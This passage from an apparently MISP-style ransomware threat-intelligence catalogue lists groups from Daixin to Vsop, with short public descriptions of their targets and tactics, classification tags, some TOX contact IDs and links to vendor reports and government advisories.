- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="very-likely"

Table 13674. Table References

Links
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf

https://digital.nhs.uk/cyber-alerts/2021/cc-3855
https://blog.group-ib.com/hancitor-cuba-ransomware
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://id-ransomware.blogspot.com/2019/12/cuba-ransomware.html
https://lab52.io/blog/cuba-ransomware-analysis/
https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group+-on+a+roll.pdf[https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group-+on+a+roll.pdf]
https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/
https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-cuba-ransomware/
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis
https://www.fortinet.com/blog/threat-research/ransomware-roundup-gwisin-kriptor-cuba-and-more
https://www.guidepointsecurity.com/blog/using-hindsight-to-close-a-cuba-cold-case/
https://www.ic3.gov/Media/News/2021/211203-2.pdf
https://www.it-connect.fr/le-ransomware-cuba-sen-prend-aux-serveurs-exchange/
https://www.mandiant.com/resources/unc2596-cuba-ransomware
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-threat-report-a-quick-primer-on-cuba-ransomware
https://www.trendmicro.com/en_us/research/22/f/cuba-ransomware-group-s-new-variant-found-using-optimized-infect.html
https://www.ransomlook.io/group/cuba
https://blogs.blackberry.com/en/2023/08/cuba-ransomware-deploys-new-tools-targets-critical-infrastructure-sector-in-the-usa-and-it-integrator-in-latin-america
https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-335a
https://profero.io/posts/cubaransomware/Cuba-Ransomware-Group-on-a-roll.pdf

Daixin

Daixin Team is a ransomware and data extortion group active since at least June 2022, known for targeting the healthcare sector, including hospitals, clinics, and related service providers. The group employs a double-extortion model—exfiltrating sensitive data before encrypting systems—and has leaked protected health information (PHI) to pressure victims. Intrusions often involve exploiting VPN vulnerabilities (notably in Fortinet FortiOS) and using compromised

credentials for initial access. The ransomware uses AES for file encryption with RSA to protect the keys, and ransom notes direct victims to a Tor-based portal. The U.S. CISA, FBI, and HHS have issued joint advisories warning of the group's impact on healthcare delivery and patient safety

The tag is: *misp-galaxy:ransomware="Daixin"*

Table 13675. Table References

Links
https://www.ransomlook.io/group/daixin
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-294a
https://www.bleepingcomputer.com/news/security/daixin-ransomware-hits-healthcare-targets-leaks-stolen-data/
https://www.ic3.gov/Media/News/2022/221025.pdf

Dark Power

Dark Power is a ransomware group first observed in January 2023, known for targeting small to mid-sized organizations across education, healthcare, manufacturing, and information technology sectors. The group uses a double-extortion model, encrypting files and threatening to leak exfiltrated data via a Tor-based site if ransom demands are not met. Written in the Nim programming language, Dark Power ransomware appends the .dark_power extension to encrypted files and drops a ransom note named README.txt, giving victims 72 hours to contact them. The note typically demands payment in cryptocurrency and offers to negotiate. Victims have been observed in North America, Asia, and Europe, with attacks often involving exploitation of vulnerable public-facing systems or stolen credentials.

The tag is: *misp-galaxy:ransomware="Dark Power"*

Table 13676. Table References

Links
https://www.ransomlook.io/group/dark power[https://www.ransomlook.io/group/dark power]
https://www.trellix.com/en-us/about/newsroom/stories/research/dark-power-ransomware.html
https://www.bleepingcomputer.com/news/security/dark-power-nim-based-ransomware-demands-10k-from-victims/

Darkangel

Dark Angels is a highly targeted ransomware and data-extortion group that emerged in spring 2022. Rather than using an affiliate-driven model, it orchestrates discreet, high-impact attacks on large organizations—often choosing one Fortune-level victim at a time. The group exfiltrates massive volumes of data (sometimes 10–100 TB), optionally deploys encryption on Windows or ESXi systems, and pressures victims via a Tor-hosted leak platform ("Dunghill Leak"). Their notable incidents include extorting a record $75 million from a Fortune 50 company in 2024 and demanding around $51 million from Johnson Controls. Dark Angels' operations emphasize stealth

and precision over disruption, often avoiding high-profile media exposure and operating with low operational visibility.

The tag is: *misp-galaxy:ransomware="Darkangel"*

Table 13677. Table References

Links
https://www.ransomlook.io/group/darkangel
https://www.zscaler.com/blogs/security-research/shining-light-dark-angels-ransomware-group
https://www.isaca.org/resources/news-and-trends/industry-news/2024/darkangels-strikes-big-record-breaking-ransom-secured
https://www.sentinelone.com/anthology/dark-angels-team-ransomware/
sentinelone published nov 30 2022 with april 2025 update[# sentinelone published nov 30 2022 with april 2025 update]
https://krebsonsecurity.com/2024/08/low-drama-dark-angels-reap-record-ransoms/
https://www.mphasis.com/content/dam/mphasis-com/global/en/home/services/cybersecurity/dark-angels-ransomware-apr28-22-5.pdf

Darkbit01

TOX: AB33BC51AFAC64D98226826E70B483593C81CB22E6A3B504F7A75348C38C862F00042F5245AC

The tag is: *misp-galaxy:ransomware="Darkbit01"*

Table 13678. Table References

Links
https://www.ransomlook.io/group/darkbit01
https://blogs.blackberry.com/en/2023/02/darkbit-ransomware-targets-israel
https://cyberscoop.com/new-cybercrime-group-darkbit-israel/
https://www.sentinelone.com/anthology/darkbit/
https://elastio.com/detectable-ransomware/darkbit/

Dataleak

The tag is: *misp-galaxy:ransomware="Dataleak"*

Table 13679. Table References

Links
https://www.ransomlook.io/group/dataleak

Diavol

A ransomware with potential ties to Wizard Spider.

The tag is: *misp-galaxy:ransomware="Diavol"*

Table 13680. Table References

Links
https://arcticwolf.com/resources/blog/karakurt-web
https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/
https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/
https://medium.com/walmartglobaltech/diavol-resurfaces-91dd93c7d922
https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648
https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/
https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/
https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/
https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/
https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider
https://www.ic3.gov/Media/News/2022/220120.pdf
https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday
https://www.ransomlook.io/group/diavol

Donutleaks

TOX: D3404141459BC7206CC4AFEC16A3403F262C0937A732C12644E7CA97F0615201A519F7EAB2E2

The tag is: *misp-galaxy:ransomware="Donutleaks"*

Table 13681. Table References

Links
https://www.ransomlook.io/group/donutleaks
https://www.bleepingcomputer.com/news/security/continental-confirms-data-breach-after-donut-leaks-ransomware-attack/
https://therecord.media/continental-confirms-data-breach-donut-leaks-ransomware
https://www.securityweek.com/donut-leaks-ransomware-group-claims-attack-on-continental/

Endurance

Endurance is a destructive ransomware variant first observed in 2023, developed and operated by the threat actor known as IntelBroker (also referred to as Butler Spider). Rather than encrypting files for decryption, it functions primarily as a data wiper, overwriting file contents, appending randomized filenames, and then deleting the files altogether. The source code for the malware was intentionally made public by the operator, indicating its use as both a tool and a statement. Endurance was used in high-profile breaches, including targeting government agencies, large enterprises, and telecommunications providers.

The tag is: *misp-galaxy:ransomware="Endurance"*

Table 13682. Table References

Links
https://www.ransomlook.io/group/endurance
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/endurance
https://www.mphasis.com/content/dam/mphasis-com/global/en/home/services/cybersecurity/june-21-12-the-intelbroker-data-leak-threat-actor.pdf
https://en.wikipedia.org/wiki/IntelBroker
https://www.crowdstrike.com/adversaries/butler-spider/

Entropy

Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples.

The tag is: *misp-galaxy:ransomware="Entropy"*

Table 13683. Table References

Links
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.ransomlook.io/group/entropy

Ep918

The tag is: *misp-galaxy:ransomware="Ep918"*

Table 13684. Table References

Links
https://www.ransomlook.io/group/ep918

Everest

The tag is: *misp-galaxy:ransomware="Everest"*

Table 13685. Table References

Links
https://www.reuters.com/article/us-usa-products-colonial-pipeline-ransom/more-ransomware-websites-disappear-in-aftermath-of-colonial-pipeline-hack-idUSKCN2CX0KT
https://www.ransomlook.io/group/everest
https://www.zscaler.com/blogs/security-research/everest-ransomware-extortion
https://www.trellix.com/en-us/about/newsroom/stories/research/everest-ransomware-gang-offers-access-to-compromised-networks.html
https://www.bleepingcomputer.com/news/security/everest-ransomware-now-selling-company-data-on-hacker-forums/

Freecivilian

The tag is: *misp-galaxy:ransomware="Freecivilian"*

Table 13686. Table References

Links
https://www.ransomlook.io/group/freecivilian

Fsteam

The tag is: *misp-galaxy:ransomware="Fsteam"*

Table 13687. Table References

Links
https://www.ransomlook.io/group/fsteam

Grief

captcha prevents indexing

The tag is: *misp-galaxy:ransomware="Grief"*

Table 13688. Table References

Links
https://heimdalsecurity.com/blog/doppelpaymer-gets-a-rebranding
https://www.ransomlook.io/group/grief
https://www.bleepingcomputer.com/news/security/grief-ransomware-linked-to-evil-corp-hackers/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-243a
https://www.treasury.gov/news/press-releases/jy0333
https://www.trendmicro.com/en_us/research/21/i/grief-ransomware.html

Groove

Groove was a short-lived ransomware group and cybercrime gang that emerged in August 2021 and became notable for its aggressive, publicity-driven tactics. Unlike traditional Ransomware-as-a-Service (RaaS) groups, Groove functioned more as a loose criminal collective, encouraging other threat actors to join forces in attacking U.S. entities, particularly in the government and financial sectors. The group ran a Tor-based leak site where it published stolen data, but its operators claimed to focus more on building an “underground alliance” than on ransomware deployment itself. Analysts noted overlaps between Groove and actors behind Babuk and BlackMatter, as well as forum personas known for data theft operations. By early 2022, Groove’s activity had largely ceased, with some experts suggesting the group was either a short-term recruitment campaign or a misinformation effort.

The tag is: *misp-galaxy:ransomware="Groove"*

Table 13689. Table References

Links
https://intel471.com/blog/groove-gang-ransomware-babuk-revil-blackmatter
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates
https://www.ransomlook.io/group/groove

Haron

login page, no posts

The tag is: *misp-galaxy:ransomware="Haron"*

Table 13690. Table References

Links
https://therecord.media/new-haron-ransomware-gang-emerges-borrowing-from-avaddon-and-thanos
https://threatpost.com/ransomware-gangs-haron-blackmatter/168212
https://www.ransomlook.io/group/haron

Hotarus

Hotarus is a ransomware and data extortion group first observed in March 2021, believed to be linked to threat actors of Latin American origin. The group has targeted entities in South America and the United States, including financial institutions, government agencies, and private companies. Hotarus is known for deploying both custom ransomware and publicly available tools, alongside stealing sensitive information for double-extortion purposes. The group has been observed exploiting vulnerable web services, using stolen credentials, and leveraging publicly available post-exploitation frameworks to gain persistence in victim networks. Encrypted files are typically appended with extensions such as .hotarus or campaign-specific identifiers, and ransom notes direct victims to communicate via encrypted email services. Notably, in some campaigns, Hotarus deployed data leak threats without encrypting files, focusing solely on exposure as a pressure tactic.

The tag is: *misp-galaxy:ransomware="Hotarus"*

Table 13691. Table References

Links
https://www.ransomlook.io/group/hotarus
https://securityaffairs.com/117387/cyber-crime/hotarus-cybercrime-group.html
https://www.bleepingcomputer.com/news/security/hotarus-ransomware-gang-hacks-ecuadorian-government-agencies-banks/

Icefire

The tag is: *misp-galaxy:ransomware="Icefire"*

Table 13692. Table References

Links
https://www.ransomlook.io/group/icefire

Justice_Blade

The tag is: *misp-galaxy:ransomware="Justice_Blade"*

Table 13693. Table References

Links
https://www.ransomlook.io/group/justice_blade

Kelvin Security

Kelvin Security is a cybercrime group active since at least 2013, primarily known for hacktivism, data breaches, and website defacements rather than traditional ransomware operations. The group has claimed responsibility for intrusions targeting government agencies, educational institutions,

and private companies across multiple regions, including Latin America, Europe, and the Middle East. While it has engaged in data theft and leak threats, there is no confirmed evidence that Kelvin Security operates a ransomware encryption component. Instead, their extortion model focuses on stealing sensitive data and threatening public disclosure, often publicizing breaches via social media and underground forums. The group's activities have been linked to politically motivated campaigns as well as financially motivated breaches. Victim selection appears opportunistic, exploiting vulnerabilities in web servers, poorly configured databases, and exposed credentials.

The tag is: *misp-galaxy:ransomware="Kelvin Security"*

Table 13694. Table References

Links
https://www.ransomlook.io/group/kelvin security[https://www.ransomlook.io/group/kelvin security]
https://www.hackread.com/kelvin-security-hacks-30-govt-universities/
https://cybernews.com/news/kelvin-security-claims-data-breach-on-european-govt-agencies/
https://securityaffairs.com/129992/hacktivism/kelvin-security-group-claims-breaches.html

Lapsus$

Lapsus$ is a cyber extortion group first observed in late 2021, known for high-profile breaches and data theft campaigns against major global companies rather than traditional ransomware encryption. The group primarily focuses on data exfiltration and public leak threats without encrypting victim systems. Lapsus$ uses a combination of social engineering, SIM swapping, MFA fatigue attacks, and purchasing access from insiders or access brokers to infiltrate corporate networks. Their victim list includes Microsoft, Okta, NVIDIA, Samsung, Uber, and telecom operators, with operations targeting multiple regions worldwide. Once inside, Lapsus$ actors exfiltrate source code, proprietary data, and customer information, often leaking samples to pressure victims into negotiation. The group is known for a brash and public-facing style, communicating directly with followers on Telegram channels and occasionally mocking victims. Several members, including minors, have been arrested in the UK, but the group's activities have persisted in some form.

The tag is: *misp-galaxy:ransomware="Lapsus$"*

Table 13695. Table References

Links
https://www.ransomlook.io/group/lapsus$
https://www.bleepingcomputer.com/news/security/lapsus-hacking-group-claims-breach-of-microsoft/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-083a
https://www.trendmicro.com/en_us/research/22/d/lapsus-group-social-engineering.html

Lilith

The tag is: *misp-galaxy:ransomware="Lilith"*

Table 13696. Table References

Links
https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/
https://github.com/werkamsus/Lilith
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/
https://www.ransomlook.io/group/lilith

Lockbit3

The tag is: *misp-galaxy:ransomware="Lockbit3"*

View relationships graph

Lockbit3 has relationships with:

- similar: misp-galaxy:ransomware="LockBit" with estimative-language:likelihood-probability="likely"

Table 13697. Table References

Links
https://threatpost.com/lockbit-ransomware-proliferates-globally/168746
https://www.trendmicro.com/en_us/research/21/h/lockbit-resurfaces-with-version-2-0-ransomware-detections-in-chi.html
https://www.ransomlook.io/group/lockbit3

Lolnek

The tag is: *misp-galaxy:ransomware="Lolnek"*

Table 13698. Table References

Links
https://www.ransomlook.io/group/lolnek

Lv

parser needs to be built

The tag is: *misp-galaxy:ransomware="Lv"*

Table 13699. Table References

Links
https://www.secureworks.com/research/lv-ransomware
https://securityaffairs.co/wordpress/119306/malware/lv-ransomware-repurposed-revil-binary.html
https://www.ransomlook.io/group/lv

Mallox

The tag is: *misp-galaxy:ransomware="Mallox"*

Table 13700. Table References

Links
https://www.ransomlook.io/group/mallox

Mbc

The tag is: *misp-galaxy:ransomware="Mbc"*

Table 13701. Table References

Links
https://www.ransomlook.io/group/mbc

Midas

This malware written in C# is a variant of the Thanos ransomware family and emerged in October 2021 and is obfuscated using SmartAssembly. In 2022, ThreatLabz analysed a report of Midas ransomware was slowly deployed over a two month period (ZScaler). This ransomware features also its own data leak site as part of its double extortion strategy.

The tag is: *misp-galaxy:ransomware="Midas"*

Table 13702. Table References

Links
https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/
https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/
https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants
https://www.ransomlook.io/group/midas

Moisha

The tag is: *misp-galaxy:ransomware="Moisha"*

Table 13703. Table References

Links
https://www.ransomlook.io/group/moisha

Monte

The tag is: *misp-galaxy:ransomware="Monte"*

Table 13704. Table References

Links
https://www.ransomlook.io/group/monte

Monti

The tag is: *misp-galaxy:ransomware="Monti"*

Table 13705. Table References

Links
https://www.ransomlook.io/group/monti

Mydecryptor

The tag is: *misp-galaxy:ransomware="Mydecryptor"*

Table 13706. Table References

Links

https://www.ransomlook.io/group/mydecryptor

N3Tworm

The tag is: *misp-galaxy:ransomware="N3Tworm"*

Table 13707. Table References

Links
https://www.ransomlook.io/group/n3tworm

Netwalker

The tag is: *misp-galaxy:ransomware="Netwalker"*

Table 13708. Table References

Links
https://threatpost.com/netwalker-ransomware-suspect-charged/163405
https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware
https://www.ncsc.org/trends/monthly-trends-articles/2020/netwalker-ransomware
https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/
https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/
https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware
https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware

https://lopqto.me/posts/automated-dynamic-import-resolving

https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf

https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/

https://sites.temple.edu/care/ci-rw-attacks/

https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html

https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/

https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million

https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/

https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/

https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/

https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/

https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.ic3.gov/media/news/2020/200929-2.pdf
https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas
https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware
https://www.justice.gov/usao-mdfl/press-release/file/1360846/download
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/
https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.youtube.com/watch?v=q8of74upT_g
https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers
https://zengo.com/bitcoin-ransomware-detective-ucsf/
https://zero2auto.com/2020/05/19/netwalker-re/
https://www.ransomlook.io/group/netwalker

Nevada

The tag is: *misp-galaxy:ransomware="Nevada"*

Table 13709. Table References

Links
https://www.ransomlook.io/group/nevada

Nightsky

The tag is: *misp-galaxy:ransomware="Nightsky"*

Table 13710. Table References

Links
https://twitter.com/cglyer/status/1480734487000453121
https://twitter.com/cglyer/status/1480742363991580674
https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/
https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.youtube.com/watch?v=Yzt_zOO8pDM
https://www.ransomlook.io/group/nightsky

Nokoyawa

The tag is: *misp-galaxy:ransomware="Nokoyawa"*

Table 13711. Table References

Links
https://www.ransomlook.io/group/nokoyawa

Onepercent

The tag is: *misp-galaxy:ransomware="Onepercent"*

Table 13712. Table References

Links
https://www.ransomlook.io/group/onepercent

Payloadbin

The tag is: *misp-galaxy:ransomware="Payloadbin"*

Table 13713. Table References

Links
https://cyberintelmag.com/malware-viruses/payloadbin-ransomware-attributed-to-evil-corp
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/
https://www.ransomlook.io/group/payloadbin

Prometheus

Ransomware written in .NET, apparently derived from the codebase of win.hakbit (Thanos) ransomware.

The tag is: *misp-galaxy:ransomware="Prometheus"*

Table 13714. Table References

Links
https://therecord.media/decryptor-released-for-prometheus-ransomware-victims
https://unit42.paloaltonetworks.com/prometheus-ransomwar
https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html
https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea
https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd
https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd
https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/
https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/
https://twitter.com/inversecos/status/1441252744258461699?s=20
https://unit42.paloaltonetworks.com/prometheus-ransomware/
https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware
https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/
https://www.ransomlook.io/group/prometheus

Qilin

The tag is: *misp-galaxy:ransomware="Qilin"*

Table 13715. Table References

Links
https://www.ransomlook.io/group/qilin

Qlocker

login page, no posts

The tag is: *misp-galaxy:ransomware="Qlocker"*

Table 13716. Table References

Links
https://www.ransomlook.io/group/qlocker

Ramp

The tag is: *misp-galaxy:ransomware="Ramp"*

Table 13717. Table References

Links
https://www.ransomlook.io/group/ramp

Ransomcartel

The tag is: *misp-galaxy:ransomware="Ransomcartel"*

Table 13718. Table References

Links
https://www.ransomlook.io/group/ransomcartel

Ransomhouse

The tag is: *misp-galaxy:ransomware="Ransomhouse"*

Table 13719. Table References

Links
https://www.ransomlook.io/group/ransomhouse

Ranzy

The tag is: *misp-galaxy:ransomware="Ranzy"*

Table 13720. Table References

Links
https://www.ransomlook.io/group/ranzy

Relic

The tag is: *misp-galaxy:ransomware="Relic"*

Table 13721. Table References

Links
https://www.ransomlook.io/group/relic

Royal

The tag is: *misp-galaxy:ransomware="Royal"*

Table 13722. Table References

Links
https://www.ransomlook.io/group/royal

Rransom

The tag is: *misp-galaxy:ransomware="Rransom"*

Table 13723. Table References

Links
https://www.ransomlook.io/group/rransom

Sabbath

The tag is: *misp-galaxy:ransomware="Sabbath"*

Table 13724. Table References

Links
https://www.mandiant.com/resources/sabbath-ransomware-affiliate
https://www.ransomlook.io/group/sabbath

Solidbit

Ransomware, written in .NET.

The tag is: *misp-galaxy:ransomware="Solidbit"*

Table 13725. Table References

Links
https://www.trendmicro.com/en_us/research/22/h/solidbit-ransomware-enters-the-raas-scene-and-takes-aim-at-gamer.html
https://www.ransomlook.io/group/solidbit

Sparta

The tag is: *misp-galaxy:ransomware="Sparta"*

Table 13726. Table References

Links
https://www.ransomlook.io/group/sparta

Spook

The tag is: *misp-galaxy:ransomware="Spook"*

Table 13727. Table References

Links
https://www.ransomlook.io/group/spook

Stormous

The tag is: *misp-galaxy:ransomware="Stormous"*

Table 13728. Table References

Links
https://www.ransomlook.io/group/stormous

Unknown

The tag is: *misp-galaxy:ransomware="Unknown"*

Table 13729. Table References

Links
https://www.ransomlook.io/group/unknown

Unsafe

The tag is: *misp-galaxy:ransomware="Unsafe"*

Table 13730. Table References

Links
https://www.ransomlook.io/group/unsafe

V Is Vendetta

The tag is: *misp-galaxy:ransomware="V Is Vendetta"*

View relationships graph

V Is Vendetta has relationships with:

- similar: misp-galaxy:ransomware="Samas-Samsam" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Vendetta" with estimative-language:likelihood-probability="likely"

Table 13731. Table References

Links
https://www.ransomlook.io/group/v is vendetta[https://www.ransomlook.io/group/v is vendetta]

Vfokx

The tag is: *misp-galaxy:ransomware="Vfokx"*

Table 13732. Table References

Links
https://www.ransomlook.io/group/vfokx

Vicesociety

The tag is: *misp-galaxy:ransomware="Vicesociety"*

Table 13733. Table References

Links
https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html
https://www.ransomlook.io/group/vicesociety

Vsop

aka Onix/Onyx

